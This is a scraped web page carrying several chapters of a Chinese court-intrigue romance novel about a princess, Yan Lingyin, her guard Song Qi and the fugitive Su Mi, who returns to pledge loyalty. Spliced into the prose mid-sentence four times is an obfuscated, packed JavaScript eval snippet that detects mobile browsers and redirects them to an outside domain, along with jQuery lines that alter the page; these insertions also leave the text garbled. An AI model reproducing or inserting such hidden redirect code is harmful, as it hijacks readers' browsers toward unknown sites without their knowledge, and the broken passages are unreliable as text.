明钏面颊通红。她呼吸艰难,被迫仰起了脸,从喉咙里挤出声音:“就是给陛下和娘娘弹琴……有时陪皇孙玩……他还管着娘娘的药,常往尚药局跑……” “药?”晏眆重复了一遍这个字眼,心中忽动。安在水有失眠之症,一直在服药调理,这一点不是秘密。可为什么,管药这么私密而重要的事,会被交给苏觅? 在那一刻,他忽然产生了一个相当荒谬的想法,它太过可笑,又太过骇人听闻,以至于在冒头的瞬间就被他迅速压下。但饶是如此,他的手却已微微颤了起来。晏懿封了皓如殿,软禁了安贵妃,不许任何人出入,连晏眆也不行。这一处置本就让人心生疑窦,若谣言是真的……若他的母妃…… 毕竟苏觅的那张脸,就是鬼神见了都要心荡神迷。 他在皓如殿从来不戴面具。 晏眆手下没控制力道,明钏被他掐得几乎背过气去,泪水流到了他的手上,黏而烫。晏眆猛地收手,像碰到了什么令人厌恶的东西,抬脚又是一踹。不可能,他对自己说,母妃出身高雅,和父皇鹣鲽情深,她怎么可能会做这么出格的事,让自己遇险,让家族蒙羞? 是苏觅……一定是苏觅! 他不再看地上挣扎翻滚的明钏,快步走出屋去。候在门外的管家跟上了他,嗫嚅道:“殿下……” “搜到了吗?”晏眆的脸色太过可怕,管家从没见主子气成这样,一时也有点慌乱,硬着头皮回道:“还没有。宅子像是被谁清理过了,几乎没留下痕迹。” 明明苏宅内外都被他安插了人,他也自认对苏觅每日的行踪了若指掌,可到头来,他却发现自己从没真正掌控过他。 “他身上还带了我下的毒,不会毫无顾忌,你找人去方狱打点,别让他说些不该说的。”晏眆低声吩咐,“不要惊动上面。” 苏觅参与过他的不少筹谋,如果那些事被审出来,落到他身上的绝不止禁足那么简单。晏眆定了定神,现在是两国交战的关键时候,苏觅的身份敏感,他即便再恨,也不能现在就让苏觅死。他得先摸清这件事的来龙去脉,再做下一步的打算。 但他没等到下一步。管家几乎是连滚带爬地回来禀报,说见苏觅蜷缩在牢房里,颈上有勒痕,身子已经凉了。 “殿下,老奴什么都没做啊!”管家声音都发了颤,眼前还浮着那人唇角微扬的、艳鬼般的容颜,“他早就死透了!” * 那日的冰雹过后,泾州又迎来了酷烈的暑天。陈桉的寒症终于有了起色,他率先往蔚州去了书信,没过几日便收到了张无为的回复,邀他过蔚州一叙。 谢朗替他备了车驾和仆从,也给晏泠音备了。他把成均留给了晏泠音。 “怎么不说话呀馥川,”成均,或者该叫他宋齐,临走前大力拍了下谢朗的肩,“别担心了,我会把嫂夫人照看好的。” 那对耳环在他脸旁叮铃摇晃,他一笑便露出两颗小虎牙:“哎,你别用这副眼神看人,我害怕。” “别乱叫。”魏收在一旁冷冷道,“要是保护不好殿下,有你害怕的。” 晏泠音这一次没有带魏收,而是让他留在泾州,帮谢朗巡城。那分明是要他填宋齐的缺,可宋齐有什么非去不可的理由?魏收没想明白。 “早就想问了,你姓魏?”宋齐肤色深,牙齿却极白,在阳光下显得分外晃眼,“汾川魏氏的那个魏?” 魏收睨了他一眼:“贱民一个,不敢高攀。” “这不巧了!”宋齐一拍手掌,凑过来就要揽他的肩,“我也贱民一个,快快活活地跟着馥川混,懒得高攀。魏大哥,你说话的口气好像我哥啊,等你们见了面,一定有很多话聊……” 他生性自来熟,遇上谁都能搭话,也不管人家爱不爱听。魏收脸都黑了,边躲他的手边问:“你哥?也在泾州?” “他出任务去了,你还没见着他呢。”宋齐嘿嘿一笑,“要是见了,你可未必分得出我们。” 这是……孪生?晏泠音闻言抬眼看去,正好对上谢朗的目光。他冲她微点了下头:“北地不避讳这个。” 吕氏兄弟的惨案给她留下的印象太深,相较之下,此刻宋齐的笑容几乎明媚得过分。他骄傲地向魏收夸赞他的兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431927|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长:“我哥可强了,他的眼力要是排第二,整个大梁没人敢排第一。喏,你看见那边那棵树了吗?能看清树上那鸟尾巴尖儿有几根毛吗?” 魏收看了看鸟,又看了看他,一脸的一言难尽。 “别灰心啊,我也看不清。”宋齐终于揽上了他的肩,喜滋滋地安慰他道,“只有我哥能看清。怎么样,厉害罢?” “行了,”谢朗出声打断了他,拎着剑把他和魏收隔开,“再让你说下去,明天都到不了蔚州。殿下,”他最后一句是对晏泠音说的,望着她的眼眸很深,“保重。” 车轮转动起来时,晏泠音还在想方才的事。宋齐骑着马跟在车旁,吊儿郎当地吹着口哨。她隔着车帘听了一阵,唤他道:“宋公子。” “嫂夫……不是,殿下,”宋齐被她那一声惊得差点掉下马,“不用这么客气,叫我小宋就行。” 晏泠音犹豫片刻,还是喊了宋齐的字:“成均,我想和你打听件事。” “哎!”宋齐兴奋地应了,“整个泾州就没有我宋二不知道的事,殿下尽管问。” “我有些好奇,”晏泠音轻声道,“你大哥那样好的眼力,是天生的吗?” 十二卫中最善探查的一卫就在北地。自离开宛京后,她便再未得到任何有关十二卫的消息。 会是他吗? 宋齐答得认真:“要说天赋嘛,我哥肯定是有的,但他练功也练得苦,小时候就那么对着一片树叶,一看就是一天。”说着他又笑了一声,“他是眼睛尖,我是耳朵灵,连师父都感叹过,怎么就收了我们这一对活宝,正好把他的绝学都偷了去。” 师父?晏泠音抬手掩住了被风吹起的车帘:“既要耳聪,又要目明,尊师这样的高人,我从前竟从未听过。不知可方便请教他的名号?” 窗外的宋齐叹了一声,闷闷道:“他也不肯告诉我们,后来我们四处寻访,都找不到他的踪迹。师父他神龙见首不见尾,也不知此生能否再见,我还想和他请教武功呢。” “……会再见的。”晏泠音看着阳光照进车帘的缝隙,无数尘埃就在那光束中奋力起舞,她忽然有些恍惚,像是说给宋齐,又像是说给她自己,“只要还活着,总是有机会的。” “殿下说得是。”宋齐很快高兴起来,“缘分嘛,说不准哪一天就见到了。只要活着……” 活着。 晏泠音倏地想起那晚魏收的话,皓如殿死了个乐师。回忆里诡异的琴声又缠绕上来,她的头隐隐生痛,不觉抬手摁住了额角。 只是萍水相逢而已,那人的离开,竟然也会让她感到疼痛吗? 她一直没有细想这件事,因为她下意识地不相信苏觅会死,以如此突兀的方式。 宋齐还在车外絮叨着:“我也想和殿下打听打听,宛京有没有一个爱穿黑衣的小姑娘?可小了,还没到我胸口,也不知这几年长高了不曾……对,她有一把特别重的长刀,是她那个疯疯癫癫的师父传给她的。太久没见了,我真的……” 他的嗓音一直清楚而响亮,最后一句却说得极轻,轻得像耳语。他似乎笑了一下,有点惆怅。 “……真的很想她啊。” 46. 情伤 一行人到达蔚州时,已是华灯初上。张无为早前得到了消息,亲自出城来迎。他面白无须,戴华阳巾,着远游履,一袭素领青纱道袍,不像个州官,倒像个闲坐书斋的中年书生。 他隔着半卷的车帘拜过了晏泠音,说了些治下不力、累公主受惊的自责之语,再拜陈桉时,执的是弟子礼。张父还在的时候,陈桉曾被延至张家做张无为的业师,两人实已多年未见,此刻站在蔚州的星点灯火前,站在北地沉寂下来的夜色里,竟也执手相对无言。 “进城罢。”张无为先开口打破了沉默,转身让下人回去准备,“老师和殿下舟车劳顿,一路辛苦。我备了薄酒,聊为诸位接风洗尘,也是替先前的失职赔罪。” 他口吻真诚。晏泠音不便与席,他便吩咐将菜肴送去她临时的居宅里,又拨了婢女前去伺候。 州府设在蔚州最大的城邑新城内,晏泠音的居宅就在新城城北,靠近乐山。宋齐这个近卫当得尽职尽责,下马后将宅院里里外外都巡视了一遍,又示意婢女先在外院等候。他接晏泠音进去时,小声道:“殿下,我不明白。” 晏泠音看到院内栽满了百日草,红色、黄色、白色,密密匝匝地混在一处,在这寂寥冷清的院落里显出些诡异的热闹。她嗅了口那清浅的花香,转身问宋齐道:“什么不明白?” 宋齐跟着她一起绕过花丛:“蔚州闹成这样,就殿下刚刚那一路过来,已有七八个乞儿拦车要钱了。张知州好定力,放着满眼的乌烟瘴气不管,在乱城里当他的无为道士,就不怕出乱子吗?” 晏泠音没钱。她身上的首饰大多已变卖,从宛京千里迢迢带来的嫁妆也已被劫走,这几日的吃用都是谢朗在贴。那些乞儿不肯走,最后还是宋齐替她散了些碎银,才哄得他们让开了路。 可宋齐也穷,整个泾州都穷。谢朗之所以接纳她,原因之一就是那几车嫁妆。他们这几日零零碎碎地寻回了点东西,包括那件氅衣在内,都是些笨重的旧物,成箱的珠玉金银仍然不见踪影。 她抬手摘了一小截桂枝,拿它替了发间的玉簪,又将簪子递给了宋齐:“赔你的禄银。” 宋齐“啊?”了一声,连连摆手道:“不不不殿下,这点银子我宋二还出得起。” “还有明日呢。”晏泠音说得认真,“若明日遇上,后日再遇上,你的银子还够吗?” “明日?”宋齐重复了一遍,忽然明白过来,“殿下日日都要散银?那也太……我们可以告诉张无为,让他多派些人跟着殿下的马车……” “遇上了就给,散完便罢,”晏泠音摊开空空如也的双手,“再多也没有了。” 宋齐微张了口看她,一时说不出话,心底却无端生出了寒气。晏泠音的语气太过平静,平静得近乎冷漠,那双柳叶眼里半点情绪也无。他隐约感觉到,她做这件事不是出于怜悯,也不是为了让自己的良心安定。 只是因为她在痛苦。 散出去的银子不过杯水车薪,这一点晏泠音不会不明白。何况,她出手越大方,引来的乞儿也会越多,她帮不了所有人,还可能招来浑水摸鱼之徒,装成乞丐的样子来分一杯羹。 即便如此,仍然要典掉玉簪,给真假难辨的“流民”送去银两吗? “没有用的,殿下,”宋齐下意识道,“这点银子什么也改变不了,最多让他们吃上一两日饱饭……” “那不是很好吗?”晏泠音冲他笑了笑,“能多活一日是好事。” 她笑容里的情绪复杂难辨,看得宋齐愣了神,待他反应过来时,晏泠音已经拂开桂枝往前走了。他几步跟了过去,听见她轻声续上了方才的话题:“张知州确实好定力,但他能和乐山匪周旋至今,怎么可能真的‘无为’?这个人不简单。再者,要说蔚州乱,你们将军就没有‘功劳’吗?他不放流民入泾州,流民便只能由蔚州一力承担,张无为就是本事通天,也难以安置那么多人。” 宋齐没忍住叫了出来:“殿下,旁人这么说也就罢了,怎么你也怪起馥川了?蔚州现下兵匪杂居,这些流民身世不清,动机不纯,谁敢放他们入城?先前不是没有过发动流民攻城的事,若是奸细混了进来,危及泾州,可没人担得起这个责任。” 晏泠音挽了下发,点了点头:“你说得是,我没有怪他。” 她用着和方才一模一样的语气,明明相当平淡,听着却又让人心里发沉。宋齐抬眼去看她的神色,可从他的角度,只能望见晏泠音模糊的侧脸。她走得很快,此时已到了卧房的门前。 宋齐犹豫着开口唤她:“殿下……” 晏泠音恰好回过头来。 “还要劳烦成均给谢将军带句话。待宣抚从蔚州回去后,他未必会继续忍让。若是将军与他起了冲突,我没有把握能再帮上将军。” 她顿了顿,吱呀一声推开了门扇。 “谢将军,要做好准备。” * 第二天,张无为陪陈桉去视察民情,这是陈桉主动要求的,张无为虽面有难色,却仍然恭顺地应了。他们前一晚喝了酒,喝到最后,张无为伏在桌上,像个孩子似的嚎啕大哭,连陈桉也红了眼睛。 晏泠音的马车不远不近地跟在两人后面。宋齐坐在车辕上,小声地把筵宴上的情形讲给她听。他确实是探查的好手,把不少细节说得绘声绘色,只是昨夜晏泠音的话仍让他有些不安,他每说一段便要停下来,听听晏泠音的反应。 但今日的晏泠音已恢复如常,她语气温和,也小声地回应着他。 “张侍郎外放南疆时,把儿子在陈家寄养了几年,后来张侍郎染病走了,陈家便收了他的儿子当义子。张无为和宣抚不只是师生,他是真把宣抚当父亲看的。” “这就解释得通了。”宋齐若有所思,“我还是头一回见宣抚那么伤心。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431928|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晏泠音卷起半边车帘,望向前方并肩而行的一老一少:“但后来张无为离开了陈家,再往后的事我便不清楚了,成均可有打听过?” “有。”宋齐点了点头,“他运气不错,每次调职都能遇上升官的好时候。履历也没问题,该历练的年数一年不少,就是太巧了些,一直被往边地调,离京城越来越远。” “谢将军,”晏泠音想起那日谢朗的话,“似乎知道原因。” “馥川只是有过猜测,”宋齐瞥见前面两人停了步,当即也勒住了马缰,先一步跃下了车辕,“他说张知州或许受了情伤,这才不愿回京。” 这句话背后的意思值得玩味,晏泠音没有立刻开口。她看着陈桉和张无为被闹哄哄的流民拦下,现在正是衙门施粥的时辰,半条路都被堵得水泄不通。陈桉走上前,喊了句什么想要维持秩序,张无为领着侍卫把他拽了回来,才没让他被人群撞倒。 挤不进里层的孩童转而涌向了马车。宋齐按她昨日的吩咐散了银子,直至囊中空空,孩子们仍不肯离开。他们的哭喊和哀求像汹涌的潮水,一浪接着一浪,冲得马车像浮在海面上一样,摇摇欲坠。 晏泠音也坐在海面上。她从车厢内向外望去,只能看到挤作一团的又黑又瘦的脸。昨夜被她压下去的情绪又无声地翻涌上来,如果宋齐此刻回头,或许会被惊得怔在原地。 她阻挡不了那混沌而深重的痛苦。朝堂上的勾心斗角,她喜爱过的那些锦绣文章,放到这些衣不蔽体、食不果腹的百姓面前,就显得太轻了,轻得可笑。 而她安然地、高高在上地坐在马车里,占着上位者的特权,却护不了她的子民。 晏泠音扶着厢壁的手颤了一下,摸到了车帘。她像是想要将车帘放下,又像是要把它卷得更高些,好看得更清楚些。混乱间,一个孩子的手猛然伸了进来,长甲划破了她的手臂。她半月前曾跌倒在这里,手腕处的擦伤仍未痊愈,此刻新伤叠着旧伤,又痛又痒。 宋齐已是焦头烂额,又不能真的对孩子动武,他尽力把他们往外面推,同时回了头,几乎是喊着问晏泠音:“殿下还好吗?” 晏泠音应了句无事,目光越过他看向远处,忽然顿住了。 在一片黑压压的陌生面庞里,在无数高举着伸向她的手臂间,她看见了葛茵。女子站在一处高起的台阶上,眼神很亮,也很冷。她面无表情地对上了晏泠音的视线。 晏泠音张口想要唤她,但下一秒,葛茵就不见了。她消失得那样快,仿佛刚才的人影只是晏泠音的幻觉。空出的台阶上站了一个高大的妇人,她呵斥着挤到阶前的孩子,挥舞着扫帚把他们往远处赶。 “都说了别来老娘这里要饭,不怕被毒死就赶紧来!也不看看这是谁的地盘……” 晏泠音缓慢抬眼。她好像终于走出了那场幻觉,看清了阶前挂牌上的字。 百花窟。 47. 戏言 这一夜晏泠音睡不着觉。北地没有海,可她闭上眼便是波涛扑面。涛声里杂着人声,有不甚清晰的私语,也有歇斯底里的哭泣。 她从榻上坐了起来,抱着膝出了会儿神,随后下了床,走到窗前推开了窗扇。 入了八月,日间依旧酷热,夜里却凉了下来。冷白的月光洒落,给后院的花木都覆上了白霜。百日草在风里摇曳着,缀在绿叶间,像是盏盏未点亮的灯笼,守着这阒无人声的庭院。 晏泠音没要婢女守夜。宋齐天刚暗便走了,不知是去探查什么。她没问,只把后院的钥匙交给了他,方便他回来。 可是…… 晏泠音在夜风里眯起了眼。她并未束发,如瀑的青丝垂落至腰侧,有几缕被风吹乱了,她也没有抬手去理。 那是谁? 腰背佝偻的男子背对着她,在后院里扫着落叶。刷啦,刷啦,他扫得认真,像是丝毫没注意到身后有人。晏泠音隐约记得,他是宅中唯一一个男仆,负责莳花弄草,在门廊边有一间供他歇息的耳房。 可他偏偏出现在这样的静夜里,在她早已下令不得入内的后院中。 晏泠音下意识地想要关上窗,但她刚动了下手,男子便回过了身。那是一张毫无特点的平凡的脸,眉毛浅淡,鼻梁塌陷,嘴角呈一副苦相地微微下撇。月光将他的脸映得全无血色,像个纸糊的假人。 ……是梦罢。 为什么这个假人,会有那么漂亮的一双眼睛。 男子朝晏泠音躬身行礼,随即又转过身,继续扫满地的落叶。他举止从容,没有因为晏泠音的注视而慌乱,只是在垂下头时,很轻地扬起了唇角。 她明明被风吹得发冷,却将窗扇又推开了些。心脏撞击着胸膛,好像它在拼尽力气地回想——在寻找回忆,而不是在思念。 “阁下是谁?” 月华流动,月华无言。男子的背影臃肿,那执帚的动作也显得迟缓而笨拙。他太陌生了,和她记忆里的红衣公子没有半分相似。除了眼睛,也只有眼睛。 她无法忘掉苏觅的眼睛。 男子一面扫着地,一面应她道:“罪奴。” 他的声音哑而粗,难听得可怕。晏泠音攥紧了手,继续问道:“为何来此?” “穷途之人,岂复问道。” “你的嗓子怎么了?” “吃坏了东西,”男子停顿了一下,“有些难养。” 晏泠音寒声:“转过身来。” 男子没动。他也不扫地了,就那么扶着帚柄,仰脸去看如钩的新月。半晌,晏泠音听见他叹了一声:“我九死一生来到此处,却只遇上了殿下的盘诘,真不甘心。” “谁知道你是不是奸细。” “殿下,”男子摇了摇头,哑声道,“听我讲个故事罢。” “我的母亲是幽王室最小的公主,我没有见过她,只知道她在兄长即位后便离开了幽国,此后终身未归。” “她是幽国的叛徒,却执意把我送了回去。我在幽国举目无亲,所有人都冷眼看我。很小的时候,我就知道我不会是个好人,日日夜夜,我都想着要放一把火,把那阴冷肮脏的宫宇烧个干净。” “但我没有力量,我还总是生病。直到幽国打了败仗,遣使求和,我就被送来了梁国。我以为噩梦结束了,但它才刚刚开始。梁皇给我的宅子漏雨漏风,我来时正遇上雨季,夜夜不得安枕。白日里我被京中子弟们欺侮,晚上回到住处,却找不到可以躺卧的地方。没办法的时候,我会去旁人的檐下避雨,在那里睡到天亮。” 他举起右手,凝视着掌心的纹路。 “檐外人来人往,有一次我遇上了谢小将军。他难得入京,但确有这么巧的事,而他又那样恨幽国。他驰马而过时踏上了我的手,碾断了我的掌骨。” “当时我还未寻到季大夫,我出不起诊金,是晏眆帮了我,又替我修了宅院。京中都说他心善,我也觉得他和我的兄长们不同,直到后来发现,他们都是一样的。我帮他做事,也被他喂毒,只等鸟尽弓藏的那一日,就会悄无声息地死在宛京。” “殿下,”苏觅终于侧过头,眸子在月光下隐隐发亮,“我从没把幽国当作故乡,但因我自小长在那里,便要代它受辱,替它背负罪名。你看这世上,何曾有过公平之事?” 他弃了扫帚,转过身,一步一步朝她走来,脚下是被踩碎的百日草。人皮面具被他撕开,露出了那张艳美无匹的脸。这张脸是他母亲打下的铭印,烙刻了他一世耻辱的开端。他恨它,恨苏觅这个名字,恨他自己整个的人生。 可他看着晏泠音时,眸光又那样温柔。 “先生在东云台开坛设讲,那是我唯一一次对晏眆感到羡慕。后来他主动离开了东云台,徒留我为之扼腕。我犹豫许久,终于下定决心去拜访先生,又不敢用我的真名,做了拙劣的易容,换了身份。” “那时我也羡慕你,殿下。你可以随意出入杜宅,一待就是一整个白天。” 而他总是挑夜里去,避开旁人的耳目。杜宅的门甚少落锁,杜慎不怕被盗,只怕天下学子求学无门。 “我不知先生是如何认出来的,但有一日他叫住了我,说侧身天地,自可见远阔山河,人事若浮,前尘既去,不如放下。” 所以杜慎要他休寻。他自梁返幽,又自幽入梁,都是照旁人的意志行走,他没有真正要寻的东西。杜慎未必清楚他的背负,但他无疑看出了苏觅的彷徨。他没有因苏觅的出身敌视他,而是教他明心定性,收怨戾,正反骨。那是苏觅内心最平和的几年,他心甘情愿地伏处,在晏眆身边游走周旋,做一条藏起毒牙的蛇。 直至东云台倾覆。 “那一年我生了重病,连季大夫也查不出病因,束手无策。我一直在半梦半醒间昏睡,听不懂别人说话,只能听见鬼哭。等我彻底清醒过来的时候,已经是秋天了。” 苏觅走到了晏泠音的窗下,他仰脸看她,细细端详着她的样子。 “杜宅空了,方狱里只剩下干涸的血迹。我最后找去了菩提园,殿下,我在那里看见了你。” 本该幽禁于宫中的公主,却出现在了京郊的废园。她卸下钗环佩饰,通身缟素,在枯死的菩提树下葬了老师的尸骨,立起了无字石碑。 她双目赤红,但没有流一滴泪。 他们在如霜的月色里对视,隔着三年的光阴,晏泠音终于回应了他的目光。她今日才知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431929|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,曾有人在杜宅的门边,在菩提树后,在无数她未曾留意的角落里凝望过她。原来是他,是他刻下了那句人事若浮,时运难游,那是杜慎曾教给他的。 竟然一语成谶。 “我放不下,”苏觅清楚地说,“先生不该就那样走了,我要那些人都付出代价。” 他摊开双手,做出了和昨日晏泠音一样的动作:“殿下问我是不是奸细,可梁国要杀我,幽国已弃我,我重病在身,时日无多,不过这世间一道无依无靠的游魂。殿下……阿音,”他很轻地唤了她的名字,“你看到了吗,天下没有我的立足之地。” 他是在仇恨里长大的,教他往前看的老师酿成了他的新恨。晏泠音在他的眼中看见了疯狂,可怕的是她能理解他,苏觅是她的镜面。 他们共享着相同的恨意,如果压不住它,就会被它毁灭。 等晏泠音回过神来时,她发现苏觅在吻她。他的唇柔软而冰凉,散着清冷的药香。这个吻不带情欲,也不见欢愉,只是苦,他们因为痛苦而彼此靠近,吻的是对方,舔舐的却是自己的伤口。 “阿音,”苏觅抵着她的额头,声音很哑,“这几日,你很不开心。” 晏泠音没有答他。她定定地看着苏觅,像是要从那张脸上寻找什么。良久,她直起了身,和苏觅拉开了距离。 她问他:“你想要什么?” 仇恨是真的,撕心裂肺的疼痛也是真的,可仇恨之后呢?她要如何信任一个既无家也无国的人,他无所顾忌,这个世上没有能缚住他的东西。 他的仇恨背后依然有苍凉的野心。 苏觅哑声笑了起来。这才是他们最像的地方,从骨子里的透出的冷漠,一念济世,一念成魔。她不会爱他,或者说她不能爱他。她始终有更重要的事物要守,那是她给自己筑造的墙。她在墙内做孤独的城主,只在极度疲惫和软弱时,才会开一点城门,在缝隙里与他接吻。 “梁国确实有奸细,但那不是我。”他舔了下唇角,望着晏泠音,一字一顿,“我今日来寻殿下,是为投诚。我会找出那个人,让幽国退兵。我手里有晏眆的弱点,而殿下曾经放过了殷禹,他也乐意对安家落井下石。只要晏眆被废,陛下便会召殿下回京。” “没有那么容易。” “有我呢,”苏觅说得云淡风轻,“即便有阻碍,也不足为惧。” 晏泠音撑住窗沿,安静了片刻,又问了他一遍:“你想要什么?” 她的语气凝重,方才的旖旎早已化作了寒气,铺散在两人身周。可苏觅像是毫无所觉,他看着她腕间的伤口,许久都未移开目光。 “若我说,我想留在殿下身边,”他轻声道,“殿下信吗?” 晏泠音皱着眉看他,直到他终于抬起头,在她带了恼意的目光里慢慢笑了起来。 “玩笑罢了,殿下莫要当真。汲汲半生不过是为名为利,此事不急,大可慢慢商量。但殿下要答应我一点……” 晏泠音在他的眼中又看见了疯狂,她在那一刻感到了极其轻微、却又难以忽视的不安。那是杜慎也曾感觉到的,苏觅身后有他们并不知晓的阴影,这种阴影在吞噬他。 “晏懿,由我全权处置。” 48. 夫人 脚下的地板忽然震动了一下,房梁间灰尘簌簌而落,苏觅在那一瞬握住了晏泠音的手。他们在爆炸声里对视,听到不远处有鸟雀受惊飞起,很快又传来了断续而凄惶的狗吠。 那是乐山的方向。 乐山匪手里有火药? 晏泠音抬眼向北望去。火光已灭,唯有灰烟弥散,像是一种无声的警告。她和陈桉从泾州来到蔚州,任谁看都是要同蔚州修好,而山匪占着蔚州的粮,吞着蔚州的银子,已经得到了甜头,不会放任泾州再来分一杯羹。 “蔚州不可久留,”苏觅像是刚回过神来,松开了她的手,“殿下应当比我更明白。” 手背残留着冰凉的触感,晏泠音不动声色地垂了袖摆,提醒他道:“我只来了两日。” 苏觅眯了眼,屈指轻叩着窗台:“蔚州有军有匪,殿下身边却只有几个不中用的护卫。若变生不测,谢将军远在泾州,分身乏术,未必赶得及相救。” 他看出了她要引蛇出洞,且他不赞成。 “我相信将军,”晏泠音没有松口,“蔚州是个隐患,他早有所察,并不是全无准备。” “但他是泾州的官长,”苏觅后退一步,神色倏然冷了下来,“殿下,你来自宛京。” 他不需要把话挑明,因为知道晏泠音能听懂。谢朗的立场早在他拒接流民时便已清楚展现,他始终把泾州放在首位,一旦面临取舍,无论是晏泠音还是旁人,都会被他毫不犹豫地抛弃。 “将军心系泾州,就是心系战局,心系梁国。”月光将晏泠音的脸衬出了白玉的色泽,她的声音像夜幕里潺湲的水,“只要他不做危害泾州的事,就不算舍弃我。” 她在窗台边俯下身,视线与苏觅齐平:“何况,逐风阁是独步天下的杀手组织,公子既来投诚,总要有所表现,不至于保不住主君的命罢。” 冷色从苏觅脸上褪去,他又露出了那种蛊惑人心的笑,眼尾慵懒地上挑。他抬手将晏泠音的鬓发别至耳后,晏泠音没有躲开。 “殿下既然这样说了,我本该尽力一试。但现下不行,逐风阁被分裂了,我用不了它。” 晏泠音皱起了眉。她忽然意识到,自己已许久都未见过阿承。苏觅若不是被逼到绝路,也不会以这样狼狈的姿态同她谈判。 她还不知道他为何下狱,又是怎样逃出了宛京。 “逐风阁既已认主,怎么还会被分裂?”她盯着苏觅,“我听闻逐风阁中从无叛变。” 这样的秘密组织之所以令人闻风丧胆,就在于它的绝对忠诚。逐风阁能够与世间任何人为敌,只做主君一人的利剑。让它效忠的唯一方式是拿到幽王室秘不外传的信物,持信物者便被奉为新主,否则它宁愿遭受屠戮,也绝不变节求生。 “我母亲离开幽国时被追杀。”苏觅侧身倚靠在窗台的外沿,慢声道,“她逃去梁国的时候带走了信物,却没有把它留给我。逐风阁认我,是因为老阁主拼力回护。他当年陪我的母亲一路南下,此后又照她的遗愿把我带回幽国,重新召集了逐风卫,要他们侍奉旧主之子。” 提到老阁主时,他极轻地眨了下眼。 “再后来他旧疾复发,送我来梁国前,自知大限将至。他让我来梁国找一位‘夫人’,说是我母亲的旧友,她手里有留在梁国的逐风卫,能护我平安。” 梁国有逐风卫,这句话让晏泠音心中一动。他们不全是跟着苏觅入梁的,早在那之前,就有人把他们楔入了梁国,只是隐而不发。 “可老阁主没有想到,天下最易变的就是人心,不是所有人都像季大夫那样固守诺言。”苏觅这一夜说了太多的话,他要让晏泠音接纳他,必须将一切都说得详尽可信。他偏过头咳了两声,再开口时,本就发哑的嗓音更沉了,“殿下,能讨口茶水吗?” 晏泠音将窗扇推开到最大。她侧耳听了一阵外间的动静,回身对苏觅道:“公子可以进来。” 宋齐不知什么时候会回来,她不能一直这么和苏觅说话。晏泠音原本没有多想,但苏觅看她的目光忽然就有些诡异。他并未拒绝,打量了眼那宽阔的窗台,随即撑着双臂翻了上来。 窗台不高,下面还垫了几级石阶,翻过去不是什么难事。茶壶茶盏摆在床边的案几上,苏觅给自己倒了一盏,矜持地把它小口喝完了。 晏泠音已经阖上窗扇,点亮了烛台。 整个屋里只妆台前有一把木椅,苏觅将它拉开,却没有要坐的意思,就立在一旁继续刚才的话:“我不知道夫人的身世,她没有幽国王室的血脉,却能号令逐风卫。老阁主要我尊敬她,说若我愿意,可以把她当成我的母亲。夫人确实帮过我许多,能找到季大夫也找不到的奇药,让我在晏眆身边挨过了这些年。” 晏泠音也没坐。她不渴,但还是走过去替自己倒了盏茶,浅浅抿了一口:“然后呢,公子何时察觉到不对?” 苏觅静了片刻:“三年前。” 又是这个时间。晏泠音握紧了茶盏。她等着苏觅往下说,但他像是陷入了回忆,许久没有开口,直到烛花噼啪地炸了一声,苏觅被它惊动,忽然搁下了茶盏。他负手在屋内走了两步,转头望向晏泠音时,眸色有些阴郁。 “我没有证据,只是感觉到自己在被监视。晏眆不会有那样的本领,我认得他在我宅院里安排的每一个人。后来我想到了逐风阁,这才开始查夫人的身份。” 晏泠音不解:“你没有见过她?” “岂止是没有见过。”苏觅声音沉沉,“容貌,年龄,住址,我都一概不知。我和她的联系只是通过逐风卫,而他们不会给我透露任何消息。我动用了弦歌楼,终于摸到了一点线索,但很快我便病倒了,醒来时,所有的线索都已消失。” 而三年后,连弦歌楼都被彻底查封了。 凉意从晏泠音的心底蔓延上来,她又想起了那场暴雨:“殷宅的那一次,也是她?” “这是唯一的解释。”苏觅见周围暗了下来,便拿了铰剪去剪烛芯。他此时不再故意佝偻着肩背,随着烛焰摇曳,他高挑的身影在地上拖得很长,“那一日,走在我身前的逐风卫失足跌倒,引来了殷宅的侍卫,这不是逐风卫该有的身手,它让我确认,夫人一直在防备我。但我仍未想明白,是什么让她不惜暴露自己,也要阻止我去找殷娘子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 